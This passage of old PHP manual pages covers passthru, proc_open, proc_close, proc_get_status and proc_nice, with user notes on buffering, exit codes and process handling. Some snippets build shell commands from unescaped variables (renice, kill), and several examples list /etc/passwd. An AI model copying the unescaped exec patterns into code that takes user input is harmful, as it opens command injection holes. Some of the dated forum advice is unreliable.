echo $proxy;
?>
Stuart Eve 08-Dec-2005 11:24
I dunno if anyone else might find this useful, but when I was trying to use the passthru() command on Suse9.3 I was having no success with the command:

$command = 'gdal_translate blahahahaha';

passthru($command);

It only worked once I put:

$command = '/usr/bin/local/gdal_translate blalalala';

passthru($command);
vijayramanan at rediffmail dot com 13-Oct-2005 03:09
I had an issue when i used exec

I think we were echoing information on the test.php script.
for eg: when we tried

exec(php test.php,$array,$error);

the return was 127 and the code was failing.

checking the note on this page gave us a hint to use passthru instead.
The only thing to note is that you need to provide the fuull path.

now our command became

passthru(/bin/php /pathtotest/test.php,$array,$error);

this works.

yipeee!!!!!
waldow at NOSPAM dot chem dot plu dot edu 22-Sep-2005 07:59
When upgrading my redhat server to enterprise 4, selinux was turned on. This caused one of my php scripts (that uses passthru) to fail.  After some nice help from redhat, I was able to get the script running again. Here is what helped me.

If you get permission errors (in /var/log/httpd/error_log) which seem to be from selinux (and not standard chmod or chown issues), make sure that the folder you are using is not in /tmp and has the selinux context of httpd_sys_script_rw_t as can be set as follows:

chcon -t httpd_sys_script_rw_t folder_name

Hope this helps someone...
stuartc1 at NOSPAM dot hotmail dot com 09-Aug-2005 07:52
Thought it might beuseful to note the passthru seems to supress error messages whilst being run in Dos on Windows (test on NT).

To show FULL raw output including errors, use system().
igor at bboy dot ru 23-Jun-2005 01:33
If you are using passthru() to download files (for dynamically generated content or something outside webserver root) using similar code:

header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"myfile.zip\"");
header("Content-Length: 11111");
passthru("cat myfile.zip",$err);

and your download goes fine, but subsequent downloads / link clicks are screwed up, with headers and binary data being all over the website, try putting

exit();

after the passthrough. This will exit the script after the download is done and will not interfere with any future actions.
sarel dot w at envent dot co dot za 08-Mar-2005 11:33
Zak Estrada
14-Dec-2004 11:21
Remember to use the full path (IE '/usr/local/bin/foo' instead of 'foo') when using passthru, otherwise you'll get an exit code of 127 (command not found).

Remember, you'll also get this error if your file does not have executable permission.
puppy at cyberpuppy dot org 02-Mar-2005 02:50
Regarding swbrown's comment...you need to use an output buffer if you don't want the data displayed.

For example:
ob_start();
passthru("<i>command</i>");
$var = ob_get_contents();
ob_end_clean(); //Use this instead of ob_flush()

This gets all the output from the command, and exits without sending any data to stdout.
Zak Estrada 14-Dec-2004 08:21
Remember to use the full path (IE '/usr/local/bin/foo' instead of 'foo') when using passthru, otherwise you'll get an exit code of 127 (command not found).
php @ richud dot com 27-May-2004 08:30
Regarding kpierre's post, be mindful that if you shell script errors, you will find the error output from it in the base error_log file (not virtualhost error_log) in apache.
jcr at marvel-databadge dot com 04-Sep-2003 11:23
With apache 2.x on RH9 passthru() writes 1 byte at a time. Apache 2.x buffers and chunk encodes the output for you - but the chunked encoding devides the output in chunks of 1 byte each...thus several bytes of overhead per byte. I guess that buffering behaviour is by design - but caused problems for me with IE adobe acrobot 5 plugin. The plugin doesn't like like it if you send it a stream of 1 byte chunks - it tells you your file is not a pdf or gives a blank screen. Using output buffering (ob_start / ob_endflush) gives reasonable size chunks and the plugin works OK.
swbrown at ucsd dot edu 03-Jun-2003 08:41
passthru() seems absolutely determined to buffer output no matter what you do, even with ob_implicit_flush().  The solution seems to be to use popen() instead.
kpierre at fit dot edu 30-Jan-2002 07:35
The documention does not mention that passthru() will only display standard output and not standard error.

If you are running a script you can pipe the STDERR to STDOUT by doing

exec 2>&1

Eg. the script below will actually print something with the passthru() function...

#!/bin/sh
exec 2>&1
ulimit -t 60
cat nosuchfile.txt
andreas dot hochsteger at oeamtc dot at 03-Oct-2001 07:51
If you sometimes get no output from passthru() use system() instead. This solved this problem for me (php 4.0.5 on Tru64 Unix compiled with gcc).
sidney at jigsaw dot nl 20-Jun-2001 05:25
PJ's ulimit example is nice; however, if you include multiple commands in the script after the ulimit command, each gets its own, seperate 60 second time slot!<br>

Furthermore, these sixty seconds are *CPU* time. Most programs hang for other reasons than CPU hogging (for example, waiting for a database connection) so for most purposes the number 60 is rather too high.<br>

Try "ulimit -t 1" first, which will give you about 10^9 cycles on modern hardware -- quite enough to get a lot of work done!
PJ at piggei dot com 14-Feb-2001 05:06
About the problem of zombies, you may call a bash script like this:

--------------------------
#! /bin/bash
ulimit -t 60

<your command here>
--------------------------
exec
proc_close
Program execution Functions


Close a process opened by proc_open and return the exit code of that process

passthru
proc_get_status
Program execution Functions
PHP Manual

proc_close

(PHP 4 >= 4.3.0, PHP 5)

proc_close — Close a process opened by proc_open() and return the exit code of that process

Description

int proc_close ( resource $process )

proc_close() is similar to pclose() except that it only works on processes opened by proc_open(). proc_close() waits for the process to terminate, and returns its exit code. If you have open pipes to that process, you should fclose() them prior to calling this function in order to avoid a deadlock - the child process may not be able to exit while the pipes are open.

Parameters

process

The proc_open() resource that will be closed.

Return Values

Returns the termination status of the process that was run. In case of an error then -1 is returned.

Notes

Note: Unix Only:

proc_close() is internally implemented using the waitpid(3) system call. To obtain the real exit status code the pcntl_wexitstatus() function should be used.

User Contributed Notes

morrisdavidd at gmail dot com 04-Jun-2008 04:41
Consider the following pseudo code:

$SOME_PROCESS = proc_open(/* something here */);
...
$status = proc_get_status($SOME_PROCESS);
...
$exitCode = proc_close($SOME_PROCESS);

If the external program has exited on its own before the call to proc_get_status, then $exitCode == -1

So consider using:
$actualExitCode = ($status["running"] ? $exitCode : $status["exitcode"] );
ashnazg at php dot net 05-Oct-2007 02:25
It seems that if you configured --enable-sigchild when you compiled PHP (which from my reading is required for you to use Oracle stuff), then return codes from proc_close() cannot be trusted.

Using proc_open's Example 1998's code on versions I have of PHP4 (4.4.7) and PHP5 (5.2.4), the return code is always "-1".  This is also the only return code I can cause by running other shell commands whether they succeed or fail.

I don't see this caveat mentioned anywhere except on this old bug report -- http://bugs.php.net/bug.php?id=29123
e-t172 at e-t172 dot net 18-Oct-2005 10:59
Just an improvement of my precedent function :

<?php
function proc_close_nobug($proc)
{
    $status = proc_get_status($proc);
    exec('kill '.$status['pid'].' 2>/dev/null >&- >/dev/null');
    proc_close($proc);
}
?>

In fact, proc_close() works when called after "kill". This is useful because it doesn't generate "defunct processes" as the precedent version.
oohay251 at yahoo dot com 15-Sep-2005 07:06
From various Internet posts and recent experience, I have observed that you cannot rely on proc_close returning the accurate return code of the child process. The return code also depends on wether or not you read from the stdout/stderr pipes, as my example shows. I work around this by writing the exit code to an additional file descriptor.

<?
$descriptorspec = array(
       0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
       1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
       2 => array('pipe', 'w'), // stderr is a pipe that the child will write to
    );
    $proc = @proc_open("/bin/ls -l /etc/passwd", $descriptorspec, $pipes);
    fclose($pipes[0]);
    $output = array();
    while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
    fclose($pipes[1]);
    while (!feof($pipes[2])) array_push($output, rtrim(fgets($pipes[2],1024),"\n"));
    fclose($pipes[2]);
    $exit=proc_close($proc);
    print_r($output);
    echo "exitcode $exit\n\n";

$descriptorspec = array(
       0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
       1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
       2 => array('pipe', 'w'), // stderr is a pipe that the child will write to
    );
    $proc = @proc_open("/bin/ls -l /etc/passwd", $descriptorspec, $pipes);
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    $exit=proc_close($proc);
    echo "exitcode $exit\n\n";

$descriptorspec = array(
       0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
       1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
       2 => array('pipe', 'w'), // stderr is a pipe that the child will write to
       3 => array('pipe', 'w'), // stderr is a pipe that the child will write to
    );
    $proc = @proc_open("/bin/ls -l /etc/passwd;echo $? >&3", $descriptorspec, $pipes);
    fclose($pipes[0]);
    $output = array();
    //comment next line to get correct exicode
    while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
    fclose($pipes[1]);
    while (!feof($pipes[2])) array_push($output, rtrim(fgets($pipes[2],1024),"\n"));
    fclose($pipes[2]);
    if (!feof($pipes[3])) $output['exitcode']=rtrim(fgets($pipes[3],5),"\n");
    fclose($pipes[3]);
    proc_close($proc);
    print_r($output);
?>

Outputs on my system:

Array
(
    [0] => -rw-r--r--  1 root root 1460 2005-09-02 09:52 /etc/passwd
    [1] =>
    [2] =>
)
exitcode -1

exitcode 1

Array
(
    [0] => -rw-r--r--  1 root root 1460 2005-09-02 09:52 /etc/passwd
    [1] =>
    [2] =>
    [exitcode] => 0
)
sergey1369 at narod dot ru 29-Aug-2003 03:16
Under PHP/4.3.3RC2, in case of two processes
these function may hangs. Work around is not use
proc_close, or put it after all fcloses done.

For example, this code hangs.

$ph1 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes1);
$ph2 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes2);

fclose($pipes1[0]); fclose($pipes1[1]); proc_close($ph1);
fclose($pipes2[0]); fclose($pipes2[1]); proc_close($ph2);

This code worked for me:

$ph1 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes1);
$ph2 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes2);

fclose($pipes1[0]); fclose($pipes1[1]);
fclose($pipes2[0]); fclose($pipes2[1]);
proc_close($ph1); proc_close($ph2);
passthru
proc_get_status
Program execution Functions


Get information about a process opened by proc_open

proc_close
proc_nice
Program execution Functions
PHP Manual

proc_get_status

(PHP 5)

proc_get_status — Get information about a process opened by proc_open()

Description

array proc_get_status ( resource $process )

proc_get_status() fetches data about a process opened using proc_open().

Parameters

process

The proc_open() resource that will be evaluated.

Return Values

An array of collected information on success, and FALSE on failure. The returned array contains the following elements:

element | type | description
command | string | The command string that was passed to proc_open().
pid | int | process id
running | bool | TRUE if the process is still running, FALSE if it has terminated.
signaled | bool | TRUE if the child process has been terminated by an uncaught signal. Always set to FALSE on Windows.
stopped | bool | TRUE if the child process has been stopped by a signal. Always set to FALSE on Windows.
exitcode | int | The exit code returned by the process (which is only meaningful if running is FALSE). Only first call of this function return real value, next calls return -1.
termsig | int | The number of the signal that caused the child process to terminate its execution (only meaningful if signaled is TRUE).
stopsig | int | The number of the signal that caused the child process to stop its execution (only meaningful if stopped is TRUE).

See Also

  • proc_open() - Execute a command and open file pointers for input/output

User Contributed Notes

Lachlan Mulcahy 30-Mar-2011 11:40
It is worth noting that proc_get_status will continue to indicate the process that you spawned is running (because it is!) until that process has been able to write everything it wants to write to the STDOUT and STDERR streams.

PHP seems to use a buffer for this and so the spawned process can can get it's write calls to return immediately.

However, once this buffer is full the write call will block until you read out some of the information from the stream/pipe.

This can manifest itself in many ways but generally the called process will still be running, but just not doing anything as it is blocking on being able to write more to STDERR or STDOUT -- whichever stream buffer is full.

To work around this you should include in your loop of checking proc_get_status' running element a "stream_get_contents" on the relevant pipes.

I generally use stream_set_blocking($pipies[2], 0) kind of calls to make sure that the stream_get_contents call will not block if there is no data in the stream.

This one had me stumped for a while, so hopefully it helps someone!
Mark Seecof 06-Sep-2009 08:36
On Unix/Linux, if you change the command line you pass to proc_open() just slightly then proc_get_status() will give you the actual process-id (pid) of your child.

Suppose you wish to run the external command /usr/bin/compress to create a BSD foo.Z file.  Rather than proc_open("/usr/bin/compress /tmp/foo",...) you may invoke proc_open("exec /usr/bin/compress /tmp/foo",...) and then proc_get_status()['pid'] will be the actual pid of /usr/bin/compress.

Why?  Because the way proc_open() actually works on Unix/Linux is by starting "/bin/sh -c usercmd userargs...", e.g., "/bin/sh -c /usr/bin/compress /tmp/foo".[Note 1]  That means normally your command is the child of the shell, so the pid you retrieve with proc_get_status() is the pid of the shell (PHP's child), and you have to fumble around trying to find the pid of your command (PHP's grandchild).  But if you put "exec" in front of your command, you tell the shell to *replace itself* with your command without starting another process (technically, to exec your command without forking first).  That means your command will inherit the pid of the shell, which is the pid that proc_get_status() returns.

So if you would like the actual pid of the process running your command, just prepend "exec " to  your proc_open() command argument then retrieve the pid using proc_get_status().

This also makes proc_terminate() and proc_close() work more like you might prefer, since they will affect the actual process running your command (which will be a child process rather than a grandchild process).

[Note 1] My guess is that the PHP developers want the shell to expand wildcards in path/filenames.
php dot net at crazedsanity dot com 10-Jul-2009 08:29
For clarification, the "exitcode" is only valid the FIRST TIME IT IS CALLED after the process exits.

If you have a method that polls a spawned process for its status, you *MUST* have that same method capture the exitcode: if the method is called a second time (after realizing the pid is dead) and it hasn't cached that exitcode, it will receive the -1 mentioned.
lytithwyn at gmail dot com 29-Dec-2008 06:51
I have had lots of problems in the past bit trying to kill external commands run by proc_open.

Others have suggested using ps to find the children of the pid returned by proc_get_status, but on my system this doesn't work.  I'm using php-5.2.5 and apache-2.0.59 on linux kernel 2.6.21, and the processes I start with proc_open end up being owned by init (pid 1), not by the pid returned by proc_get_status.

I did notice, however, that the pid's of the processes were always above and very close to the proc_get_status pid.  Using that information, I wrote a little function that takes the name of a command, the starting pid at which to search (which would be the proc_get_status pid), and optionally a search limit as arguments.  It will use ps to list processes owned by apache (you may have to change this user name for your system), and search for the command specified.  The limit tells how far above the starting pid to search.  This will help if the command may have already exited, and you don't want to kill a process from a different session than the one you're working with.

Here's the code:

<?php
function findCommandPID($command, $startpid, $limit = 3)
{
    $ps = `ps -u apache --sort=pid -o comm= -o pid=`;
    $ps_lines = explode("\n", $ps);

    $pattern = "/(\S{1,})(\s{1,})(\d{1,})/";

    foreach($ps_lines as $line)
    {
        if(preg_match($pattern, $line, $matches))
        {
            //this limits us to finding the command within $limit pid's of the parent;
            //eg, if ppid = 245, limit = 3, we won't search past 248
            if($matches[3] > $startpid + $limit)
                break;

            //try to match a ps line where the command matches our search
            //at a higher pid than our parent
            if($matches[1] == $command && $matches[3] > $startpid)
                return $matches[3];
        }
    }

    return false;
}
?>
webmaster at rouen dot fr 09-Jul-2008 01:49
The following function takes an array of shell commands and executes them. It is able to execute up to $nb_max_process at the same time. As soon as one process is terminated, another one is executed. Quite useful if you want to batch process commands on a multi-processor or multi-core environment.

The example below tries to convert to PNG a list of SVG files submitted on the command line (using Inkscape).

(it's quick and dirty but works very well for me)

#!/usr/bin/php
<?php
function pool_execute($commandes,$nb_max_process) {
  $pool=array();
  for($i=0;$i<$nb_max_process;$i++) {
    $pool[$i]=FALSE;
  }

  while(count($commandes)>0) {
    $commande=array_shift($commandes);

    $commande_lancee=FALSE;
    while($commande_lancee==FALSE) {
      usleep(50000);

      for($i=0;$i<$nb_max_process and $commande_lancee==FALSE;$i++) {
        if($pool[$i]===FALSE) {
          $pool[$i]=proc_open($commande,array(),$foo);
          $commande_lancee=TRUE;
        } else {
          $etat=proc_get_status($pool[$i]);
          if($etat['running']==FALSE) {
            proc_close($pool[$i]);
            $pool[$i]=proc_open($commande,array(),$foo);
            $commande_lancee=TRUE;
          }
        }
      }
    }
  }
}

$fichiers=$argv;
array_shift($fichiers);
$commandes=array();
foreach($fichiers as $fichier) {
  $entree=$fichier;
  $sortie=basename($fichier,'.svg').".png";
  $commandes[]='inkscape --file='.escapeshellarg($entree).' --export-area-canvas --export-png='.escapeshellarg($sortie);
}

pool_execute($commandes,4);
strrev xc.noxeh@ellij 05-Jun-2008 01:12
You can NOT rely on pid+1.
You could prefix exec to the command string, this will replace the /bin/sh script with the real thing you want to exec (use only if you don't do 'scary things' like pipes, output redirection, multiple commands, however if you know how they work, go ahead).
If you prefix exec, the /bin/sh process will only start your process, and the PID will be the same.
damien at cyg dot net 13-Jun-2007 06:06
Alternatively, if you're calling a subsequent php script using proc_open, you can have that process echo its own actual PID in the output.
Also, if you go through the /proc filesystem on linux, you can read through /proc/12345 where 12345 is the pid returned by proc_get_status (the pid of the /bin/sh instance) and it will list its child processes within.
andy dot shellam at mailnetwork dot co dot uk 05-Apr-2007 05:16
Further to my previous note, I've found out the PID returned is the PID of the shell (/bin/sh) that then runs the actual command requested.

I've raised this as bug #41003.
andy dot shellam at mailnetwork dot co dot uk 05-Apr-2007 04:58
To the poster above, same here on FreeBSD 6.1, PHP 5.2.1.

To get the correct PID to use for posix_kill I have to add 1 to the PID returned from proc_get_status.
proc_close
proc_nice
Program execution Functions


Change the priority of the current process

proc_get_status
proc_open
Program execution Functions
PHP Manual

proc_nice

(PHP 5)

proc_nice — Change the priority of the current process

Description

bool proc_nice ( int $increment )

proc_nice() changes the priority of the current process by the amount specified in increment. A positive increment will lower the priority of the current process, whereas a negative increment will raise the priority.

proc_nice() is not related to proc_open() and its associated functions in any way.

Parameters

increment

The increment value of the priority change.

Return Values

Returns TRUE on success or FALSE on failure. If an error occurs, like the user lacks permission to change the priority, an error of level E_WARNING is also generated.

Notes

Note: Availability

proc_nice() will only exist if your system has 'nice' capabilities. 'nice' conforms to: SVr4, SVID EXT, AT&T, X/OPEN, BSD 4.3. This means that proc_nice() is not available on Windows.

User Contributed Notes

Marek 19-Jan-2011 08:40
Regarding ionice - on linux the impact of the ionice -c3 class is similar to that of nice, because the CPU "niceness" is taken into account when calculating the io niceness.
php at richardneill dot org 24-Jun-2010 12:14
If a process is reniced, then all its children inherit that niceness. So a PHP script can call proc_nice on itself, then invoke system(), and the command executed via system() will also be niced.

Also worth making a note of ionice. There's no PHP function for this, but it's important. A nice'd program will happily try to chew up all i/o bandwidth with very little CPU usage, it can therefore make the entire computer non-responsive despite the programmer's intention.  Use "ionice -c3"  or see "man ionice"
pandi at home dot pl 25-Nov-2008 05:22
Simple function for check process nice, by default returns nice of current process:

<?php

public static function getProcessNice ($pid = null) {
    if (!$pid) {
        $pid = getmypid ();
    }

    $res = `ps -p $pid -o "%p %n"`;

    preg_match ('/^\s*\w+\s+\w+\s*(\d+)\s+(\d+)/m', $res, $matches);

    return array ('pid' => (isset ($matches[1]) ? $matches[1] : null), 'nice' => (isset ($matches[2]) ? $matches[2] : null));
}

?>
php at riggers dot me dot uk 12-Aug-2004 04:20
Just an addition to the previous note re: exec('renice...'). The exit_func() will not set the priority back to normal (0) (at least on linux), unless the user that the webserver is running as is a super user (bad idea). You can decrease the priority of the running task, but not increase it again. See man page for renice.

To prevent subsequent requests running at the lower priority I called apache_child_terminate() on shutdown.
griph at dd dot chalmer dot se 10-Nov-2003 02:34
If you don't have PHP5 and needs to nice your process this works good.

<?php

function proc_nice($priority) {
  exec("renice +$priority ".getmypid());
}

//You also need a shutdown function if you don't want to leave your http deamons with a modified priority
function exit_func(){
  // Restore priority
  proc_nice(0);
}

register_shutdown_function('exit_func');
?>
proc_get_status
proc_open
Program execution Functions


Execute a command and open file pointers for input/output

proc_nice
proc_terminate
Program execution Functions
PHP Manual

proc_open

(PHP 4 >= 4.3.0, PHP 5)

proc_open — Execute a command and open file pointers for input/output

Description

resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )

proc_open() is similar to popen() but provides a much greater degree of control over the program execution.

Parameters

cmd

The command to execute

descriptorspec

An indexed array where the key represents the descriptor number and the value represents how PHP will pass that descriptor to the child process. 0 is stdin, 1 is stdout, while 2 is stderr.

Each element can be:

  • An array describing the pipe to pass to the process. The first element is the descriptor type and the second element is an option for the given type. Valid types are pipe (the second element is either r to pass the read end of the pipe to the process, or w to pass the write end) and file (the second element is a filename).
  • A stream resource representing a real file descriptor (e.g. opened file, a socket, STDIN).

The file descriptor numbers are not limited to 0, 1 and 2 - you may specify any valid file descriptor number and it will be passed to the child process. This allows your script to interoperate with other scripts that run as "co-processes". In particular, this is useful for passing passphrases to programs like PGP, GPG and openssl in a more secure manner. It is also useful for reading status information provided by those programs on auxiliary file descriptors.

pipes

Will be set to an indexed array of file pointers that correspond to PHP's end of any pipes that are created.

cwd

The initial working dir for the command. This must be an absolute directory path, or NULL if you want to use the default value (the working dir of the current PHP process)

env

An array with the environment variables for the command that will be run, or NULL to use the same environment as the current PHP process

other_options

Allows you to specify additional options. Currently supported options include:

  • suppress_errors (windows only): suppresses errors generated by this function when it's set to TRUE
  • bypass_shell (windows only): bypass cmd.exe shell when set to TRUE
  • context: stream context used when opening files (created with stream_context_create())

Return Values

Returns a resource representing the process, which should be freed using proc_close() when you are finished with it. On failure returns FALSE.

Changelog

Version | Description
5.2.1 | Added the bypass_shell option to the other_options parameter.
5.0.0 | Added the cwd, env and other_options parameters.

Examples

Example #1 A proc_open() example

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("file", "/tmp/error-output.txt", "a") // stderr is a file to write to
);

$cwd = '/tmp';
$env = array('some_option' => 'aeiou');

$process = proc_open('php', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
    // $pipes now looks like this:
    // 0 => writeable handle connected to child stdin
    // 1 => readable handle connected to child stdout
    // Any error output will be appended to /tmp/error-output.txt

    fwrite($pipes[0], '<?php print_r($_ENV); ?>');
    fclose($pipes[0]);

    echo stream_get_contents($pipes[1]);
    fclose($pipes[1]);

    // It is important that you close any pipes before calling
    // proc_close in order to avoid a deadlock
    $return_value = proc_close($process);

    echo "command returned $return_value\n";
}
?>

The above example will output something similar to:

Array
(
    [some_option] => aeiou
    [PWD] => /tmp
    [SHLVL] => 1
    [_] => /usr/local/bin/php
)
command returned 0

Notes

Note:

Windows compatibility: Descriptors beyond 2 (stderr) are made available to the child process as inheritable handles, but since the Windows architecture does not associate file descriptor numbers with low-level handles, the child process does not (yet) have a means of accessing those handles. Stdin, stdout and stderr work as expected.

Note:

If you only need a uni-directional (one-way) process pipe, use popen() instead, as it is much easier to use.

See Also

  • popen() - Opens process file pointer
  • exec() - Execute an external program
  • system() - Execute an external program and display the output
  • passthru() - Execute an external program and display raw output
  • stream_select() - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec
  • The backtick operator

User Contributed Notes

toby at globaloptima dot co dot uk 14-Nov-2011 01:38
If script A is spawning script B and script B pushes a lot of data to stdout without script A consuming that data, script B is likely to hang but the result of proc_get_status on that process seems to continue to indicate it's running.

So either don't write to stdout i the spawned process (I write to log files instead now) or try to read in the stdout in a non-blocking way if your script A is spawning many instances of script B, I couldn't get this second option to work sadly.

PHP 5.3.8 CLI on Windows 7 64.
mattis at xait dot no 03-Feb-2011 07:41
If you are, like me, tired of the buggy way proc_open handles streams and exit codes; this example demonstrate the power of pcntl, posix and some simple output redirection:

<?php
$outpipe = '/tmp/outpipe';
$inpipe = '/tmp/inpipe';
posix_mkfifo($inpipe, 0600);
posix_mkfifo($outpipe, 0600);

$pid = pcntl_fork();

//parent
if($pid) {
    $in = fopen($inpipe, 'w');
    fwrite($in, "A message for the inpipe reader\n");
    fclose($in);

    $out = fopen($outpipe, 'r');
    while(!feof($out)) {
        echo "From out pipe: " . fgets($out) . PHP_EOL;
    }
    fclose($out);

    pcntl_waitpid($pid, $status);

    if(pcntl_wifexited($status)) {
        echo "Reliable exit code: " . pcntl_wexitstatus($status) . PHP_EOL;
    }

    unlink($outpipe);
    unlink($inpipe);
}

//child
else {
    //parent
    if($pid = pcntl_fork()) {
        pcntl_exec('/bin/sh', array('-c', "printf 'A message for the outpipe reader' > $outpipe 2>&1 && exit 12"));
    }

    //child
    else {
        pcntl_exec('/bin/sh', array('-c', "printf 'From in pipe: '; cat $inpipe"));
    }
}
?>

Output:

From in pipe: A message for the inpipe reader
From out pipe: A message for the outpipe reader
Reliable exit code: 12
camposer 07-Aug-2010 10:06
I'd many problems trying to execute commands into a running process and capture its outputs; without needing to close the output buffer until the end.

Here's a very short and basic example that should be very helpfully:

<a href="http://bit.ly/aJ9ZQf">Ejecutando comandos sobre un programa en ejecución y capturando sus salidas (en PHP)</a>
php at keith tyler dot com 16-Apr-2010 11:32
Interestingly enough, it seems you actually have to store the return value in order for your streams to exist. You can't throw it away.

In other words, this works:

<?php
$proc=proc_open("echo foo",
  array(
    array("pipe","r"),
    array("pipe","w"),
    array("pipe","w")
  ),
  $pipes);
print stream_get_contents($pipes[1]);
?>

prints:
foo

but this doesn't work:

<?php
proc_open("echo foo",
  array(
    array("pipe","r"),
    array("pipe","w"),
    array("pipe","w")
  ),
  $pipes);
print stream_get_contents($pipes[1]);
?>

outputs:
Warning: stream_get_contents(): <n> is not a valid stream resource in Command line code on line 1

The only difference is that in the second case we don't save the output of proc_open to a variable.
Matou Havlena - matous at havlena dot net 14-Apr-2010 01:03
There is some smart object Processes Manager which i have created for my application. It can control the maximum of simultaneously running processes.

Proccesmanager class:
<?php
class Processmanager {
    public $executable = "C:\\www\\_PHP5_2_10\\php";
    public $root = "C:\\www\\parallelprocesses\\";
    public $scripts = array();
    public $processesRunning = 0;
    public $processes = 3;
    public $running = array();
    public $sleep_time = 2;

    function addScript($script, $max_execution_time = 300) {
        $this->scripts[] = array("script_name" => $script,
                            "max_execution_time" => $max_execution_time);
    }

    function exec() {
        $i = 0;
        for(;;) {
        // Fill up the slots
        while (($this->processesRunning<$this->processes) and ($i<count($this->scripts))) {
        echo "<span style='color: orange;'>Adding script: ".$this->scripts[$i]["script_name"]."</span><br />";
        ob_flush();
        flush();
        $this->running[] =& new Process($this->executable, $this->root, $this->scripts[$i]["script_name"], $this->scripts[$i]["max_execution_time"]);
        $this->processesRunning++;
        $i++;
        }

        // Check if done
        if (($this->processesRunning==0) and ($i>=count($this->scripts))) {
            break;
        }
        // sleep, this duration depends on your script execution time, the longer execution time, the longer sleep time
      sleep($this->sleep_time);

      // check what is done
        foreach ($this->running as $key => $val) {
                if (!$val->isRunning() or $val->isOverExecuted()) {
            if (!$val->isRunning()) echo "<span style='color: green;'>Done: ".$val->script."</span><br />";
            else echo "<span style='color: red;'>Killed: ".$val->script."</span><br />";
                    proc_close($val->resource);
                    unset($this->running[$key]);
                    $this->processesRunning--;
            ob_flush();
            flush();
                }
            }
        }
    }
}
?>

Process class:
<?php
class Process {
    public $resource;
    public $pipes;
    public $script;
    public $max_execution_time;
    public $start_time;

    function __construct(&$executable, &$root, $script, $max_execution_time) {
        $this->script = $script;
        $this->max_execution_time = $max_execution_time;
        $descriptorspec    = array(
            0 => array('pipe', 'r'),
            1 => array('pipe', 'w'),
            2 => array('pipe', 'w')
        );
        $this->resource    = proc_open($executable." ".$root.$this->script, $descriptorspec, $this->pipes, null, $_ENV);
        $this->start_time = mktime();
    }

    // is still running?
    function isRunning() {
        $status = proc_get_status($this->resource);
        return $status["running"];
    }

    // long execution time, proccess is going to be killer
    function isOverExecuted() {
        if ($this->start_time+$this->max_execution_time<mktime()) return true;
        else return false;
    }

}
?>

Example of using:
<?php
$manager = new Processmanager();
$manager->executable = "C:\\www\\_PHP5_2_10\\php";
$manager->path = "C:\\www\\parallelprocesses\\";
$manager->processes = 3;
$manager->sleep_time = 2;
$manager->addScript("script1.php", 10);
$manager->addScript("script2.php");
$manager->addScript("script3.php");
$manager->addScript("script4.php");
$manager->addScript("script5.php");
$manager->addScript("script6.php");
$manager->exec();
?>

And possible output:

Adding script: script1.php
Adding script: script2.php
Adding script: script3.php
Done: script2.php
Adding script: script4.php
Killed: script1.php
Done: script3.php
Done: script4.php
Adding script: script5.php
Adding script: script6.php
Done: script5.php
Done: script6.php
Luceo 28-Mar-2010 07:39
It seems that stream_get_contents() on STDOUT blocks infinitly under Windows when STDERR is filled under some circumstances.

The trick is to open STDERR in append mode ("a"), then this will work, too.

<?php
$descriptorspec = array(
    0 => array('pipe', 'r'), // stdin
    1 => array('pipe', 'w'), // stdout
    2 => array('pipe', 'a') // stderr
);
?>
cbn at grenet dot org 18-Dec-2009 07:30
Display output (stdout/stderr) in real time, and get the real exit code in pure PHP (no shell workaround!). It works well on my machines (debian mostly).

#!/usr/bin/php
<?php
/*
 * Execute and display the output in real time (stdout + stderr).
 *
 * Please note this snippet is prepended with an appropriate shebang for the
 * CLI. You can re-use only the function.
 *
 * Usage example:
 * chmod u+x proc_open.php
 * ./proc_open.php "ping -c 5 google.fr"; echo RetVal=$?
 */
define(BUF_SIZ, 1024);        # max buffer size
define(FD_WRITE, 0);        # stdin
define(FD_READ, 1);        # stdout
define(FD_ERR, 2);        # stderr

/*
 * Wrapper for proc_*() functions.
 * The first parameter $cmd is the command line to execute.
 * Return the exit code of the process.
 */
function proc_exec($cmd)
{
    $descriptorspec = array(
        0 => array("pipe", "r"),
        1 => array("pipe", "w"),
        2 => array("pipe", "w")
    );

    $ptr = proc_open($cmd, $descriptorspec, $pipes, NULL, $_ENV);
    if (!is_resource($ptr))
        return false;

    while (($buffer = fgets($pipes[FD_READ], BUF_SIZ)) != NULL
            || ($errbuf = fgets($pipes[FD_ERR], BUF_SIZ)) != NULL) {
        if (!isset($flag)) {
            $pstatus = proc_get_status($ptr);
            $first_exitcode = $pstatus["exitcode"];
            $flag = true;
        }
        if (strlen($buffer))
            echo $buffer;
        if (strlen($errbuf))
            echo "ERR: " . $errbuf;
    }

    foreach ($pipes as $pipe)
        fclose($pipe);

    /* Get the expected *exit* code to return the value */
    $pstatus = proc_get_status($ptr);
    if (!strlen($pstatus["exitcode"]) || $pstatus["running"]) {
        /* we can trust the retval of proc_close() */
        if ($pstatus["running"])
            proc_terminate($ptr);
        $ret = proc_close($ptr);
    } else {
        if ((($first_exitcode + 256) % 256) == 255
                && (($pstatus["exitcode"] + 256) % 256) != 255)
            $ret = $pstatus["exitcode"];
        elseif (!strlen($first_exitcode))
            $ret = $pstatus["exitcode"];
        elseif ((($first_exitcode + 256) % 256) != 255)
            $ret = $first_exitcode;
        else
            $ret = 0; /* we "deduce" an EXIT_SUCCESS ;) */
        proc_close($ptr);
    }

    return ($ret + 256) % 256;
}

/* __init__ */
